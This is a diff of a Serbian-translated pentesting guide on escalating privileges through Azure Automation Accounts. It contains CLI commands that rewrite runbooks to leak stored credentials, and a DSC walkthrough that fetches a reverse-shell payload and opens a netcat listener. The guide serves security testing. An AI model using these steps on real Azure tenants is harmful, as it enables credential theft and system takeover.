diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 7fd29b433..b60d528c2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Za više informacija proverite: +Za više informacija pogledajte: {{#ref}} ../az-services/az-automation-accounts.md @@ -12,29 +12,29 @@ Za više informacija proverite: ### Hybrid Workers Group -- **Od Automation Account do VM** +- **Iz Automation Account u VM** -Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. Ovo može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM. +Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljni kod) na hybrid worker-u, on će **pivot to the location of the VM**. Ovo može biti on-premise mašina, VPC drugog cloud-a ili čak Azure VM. -Štaviše, ako hybrid worker radi u Azure-u sa drugim Managed Identities, runbook će moći da pristupi **managed identity runbook-a i svim managed identities VM-a iz metadata servisa**. +Pored toga, ako hybrid worker radi u Azure-u sa drugim Managed Identities pridruženim, runbook će moći da pristupi **managed identity of the runbook and all the managed identities of the VM from the metadata service**. > [!TIP] -> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token managed identities automation account-a (**`IDENTITY_ENDPOINT`**). +> Zapamtite da **metadata service** ima drugačiji URL (**`http://169.254.169.254`**) nego servis odakle se dobija managed identities token automation account-a (**`IDENTITY_ENDPOINT`**). -- **Od VM do Automation Account** +- **Iz VM-a u Automation Account** -Štaviše, ako neko kompromituje VM na kojem se izvršava skripta automation account-a, on će moći da locira **Automation Account** metadata i pristupi mu sa VM-a kako bi dobio tokene za **Managed Identities** povezane sa Automation Account. +Pored toga, ako neko kompromituje VM na kojem se izvršava skripta iz automation account-a, moći će da locira **Automation Account** metadata i pristupi njima sa VM-a kako bi dobio tokene za **Managed Identities** pridružene Automation Account-u. -Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om, moguće je pronaći u **environment variables procesa** URL i tajnu za pristup metadata servisu automation account-a: +Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om moguće je pronaći u **environment variables of the process** URL i secret za pristup automation account metadata service: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete koristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account. +Ukratko, ove dozvole omogućavaju da **create, modify and run Runbooks** u Automation Account-u, što možete iskoristiti da **execute code** u kontekstu Automation Account-a i eskalirate privilegije na dodeljene **Managed Identities** i leak **credentials** i **encrypted variables** koje su sačuvane u Automation Account-u. -Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automation Account-u koristeći: +Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava izmenu koda Runbook-a u Automation Account-u koristeći: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Napomena kako se prethodni skript može koristiti za **curenje korisničkog imena i lozinke** kredencijala i vrednosti **kriptovane promenljive** smeštene u Automation Account. +Obratite pažnju kako prethodni skript može da se iskoristi za **leak korisničkog imena i lozinke** kredencijala i vrednost **šifrovane promenljive** koja je sačuvana u Automation Account. -Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da objavi Runbook u Automation Account-u tako da se promene primene: +Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da objavi Runbook u Automation Account tako da se promene primene: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći: +Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account koristeći: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account koristeći: +Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz job-a u Automation Account koristeći: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Ako nisu kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći: +Ako nisu kreirani Runbooks, ili želite da kreirate novi, biće vam potrebna **ovlašćenja `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Ova dozvola omogućava korisniku da **dodeli identitet koji upravlja korisnikom** Automatskom nalogu koristeći: +Ova dozvola omogućava korisniku da **dodeli user managed identity** na Automation Account koristeći: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi raspored u Automation Account-u koji se izvršava svake 15 minuta (nije baš tajno) koristeći sledeću komandu. +Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi Schedule u Automation Account koji se izvršava svakih 15 minuta (nije baš stealth) koristeći sledeću komandu. -Napomena: **minimalni interval za raspored je 15 minuta**, a **minimalno vreme početka je 5 minuta** u budućnosti. +Imajte na umu da je **najmanji interval za Schedule je 15 minuta**, i da je **minimalno vreme početka je 5 minuta** u budućnosti. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći: +Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler runbooku koristeći: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> U prethodnom primeru, jobchedule id je ostavljen kao **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kao primer** ali ćete morati da koristite proizvoljnu vrednost za kreiranje ovog dodeljivanja. +> U prethodnom primeru jobchedule id je ostavljen kao **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` kao primer** ali ćete morati da koristite proizvoljnu vrednost da biste kreirali ovo dodeljivanje. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account-a koristeći sledeću komandu. +Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći jednu od sledećih komandi. + +With Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Ova komanda treba da vrati webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, da pozovete runbook koristeći webhook URI +Koristeći AzureCLI i REST: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Ove komande bi trebalo da vrate webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, да бисте позвали runbook користећи webhook URI ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Samo sa dozvolom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je **ažurirati kod Runbook-a** bez objavljivanja i pokrenuti ga koristeći sledeće komande. +Samo sa dozvolom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je ažurirati kod Runbook-a bez objavljivanja i pokrenuti ga koristeći sledeće komande. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Ova dozvola omogućava korisniku da **konfiguriše kontrolu izvora** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer): +Ova dozvola omogućava korisniku da **configure a source control** za Automation Account koristeći komande kao u sledećem primeru (ovde se koristi Github kao primer): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**. +Ovo će automatski importovati runbooks iz Github repository u Automation Account i uz još neke dozvole za njihovo pokretanje bilo bi **moguće eskalirati privilegije**. -Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, klijentski ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Pored toga, imajte na umu da da bi source control funkcionisao u Automation Accounts mora imati managed identity sa ulogom **`Contributor`**, i ako je u pitanju user managed identity, client id MI mora biti naveden u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran. +> Imajte na umu da nije moguće promeniti repo URL source control-a nakon što je kreiran. ### `Microsoft.Automation/automationAccounts/variables/write` -Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je pisati varijable u Automation Account koristeći sledeću komandu. +Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je upisivati promenljive u Automation Account koristeći sledeću naredbu. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -213,53 +231,53 @@ az rest --method PUT \ } }' ``` -### Prilagođena Runtime Okruženja +### Prilagođena runtime okruženja -Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen. +Ako automation account koristi custom runtime environment, moguće je prepisati custom package tog runtime-a zlonamernim kodom (poput **a backdoor**). Na taj način, kad god se pokrene runbook koji koristi taj custom runtime i učita custom package, zlonamerni kod će biti izvršen. -### Kompromitovanje Konfiguracije Stanja +### Kompromitovanje State Configuration -**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Pročitajte ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Korak 1 — Kreiranje Fajlova +- Korak 1 — Kreiranje fajlova -**Potrebni Fajlovi:** Potrebna su dva PowerShell skripta: -1. `reverse_shell_config.ps1`: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +**Potrebni fajlovi:** Potrebne su dve PowerShell skripte: +1. `reverse_shell_config.ps1`: Desired State Configuration (DSC) fajl koji preuzima i izvršava payload. Dostupan je na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: skripta za objavljivanje konfiguracije na VM, dostupna na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a. +**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući nazive resursa, putanje fajlova i identifikatore servera/payload-a. -- Korak 2 — Zip Fajl Konfiguracije +- Korak 2 — Kompresovanje konfiguracionog fajla -Fajl `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account. +`reverse_shell_config.ps1` je kompresovan u `.zip` fajl, čime je spreman za prebacivanje na Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Korak 3 — Postavi kontekst skladišta i otpremi +- Korak 3 — Set Storage Context & Upload -Zipped konfiguracioni fajl se otpremi u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet. +Zipovana konfiguraciona datoteka se otprema u predefinisani Azure Storage container, azure-pentest, koristeći Azure-ov Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Korak 4 — Priprema Kali Box-a +- Korak 4 — Priprema Kali mašine Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku. +Skript se izmenjuje da bi se odredio ciljni Windows VM i port za reverse shell. -- Korak 5 — Objavi Konfiguracioni Fajl +- Korak 5 — Objavi konfiguracioni fajl -Konfiguracioni fajl se izvršava, što rezultira time da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u. +Konfiguracioni fajl se izvršava, zbog čega se reverse-shell skripta postavlja na navedenu lokaciju na Windows VM. -- Korak 6 — Hostuj Payload i Postavi Listener +- Korak 6 — Hostovanje payload-a i podešavanje listener-a -Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija. +Pokreće se Python SimpleHTTPServer da bi hostovao payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM. +Zakazani zadatak izvršava payload, dostižući privilegije na nivou SYSTEM. {{#include ../../../banners/hacktricks-training.md}}